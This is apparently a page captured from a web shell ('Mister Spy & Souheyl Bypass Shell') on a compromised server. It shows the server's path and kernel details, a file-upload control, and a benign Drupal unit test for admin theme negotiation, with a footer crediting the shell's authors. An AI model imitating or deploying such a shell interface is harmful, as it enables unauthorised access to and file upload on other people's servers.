Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/rocksensor3/web/core/modules/user/tests/src/Unit/Theme/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/rocksensor3/web/core/modules/user/tests/src/Unit/Theme/AdminNegotiatorTest.php

<?php

declare(strict_types=1);

namespace Drupal\Tests\user\Unit\Theme;

use Drupal\Core\Entity\EntityTypeManagerInterface;
use Drupal\Core\Routing\AdminContext;
use Drupal\Core\Routing\RouteMatch;
use Drupal\Core\Session\AccountInterface;
use Drupal\Tests\UnitTestCase;
use Drupal\user\Theme\AdminNegotiator;

/**
 * Tests AdminNegotiator class.
 *
 * @group user
 * @coversDefaultClass \Drupal\user\Theme\AdminNegotiator
 */
class AdminNegotiatorTest extends UnitTestCase {

  /**
   * @dataProvider getThemes
   */
  public function testDetermineActiveTheme($admin_theme, $expected): void {
    $user = $this->prophesize(AccountInterface::class);
    $config_factory = $this->getConfigFactoryStub(['system.theme' => ['admin' => $admin_theme]]);
    $entity_type_manager = $this->prophesize(EntityTypeManagerInterface::class);
    $admin_context = $this->prophesize(AdminContext::class);
    $negotiator = new AdminNegotiator($user->reveal(), $config_factory, $entity_type_manager->reveal(), $admin_context->reveal());
    $route_match = $this->prophesize(RouteMatch::class);
    $this->assertSame($expected, $negotiator->determineActiveTheme($route_match->reveal()));
  }

  /**
   * Provides a list of theme names to test.
   */
  public static function getThemes() {
    return [
      ['claro', 'claro'],
      [NULL, NULL],
      ['', NULL],
    ];
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net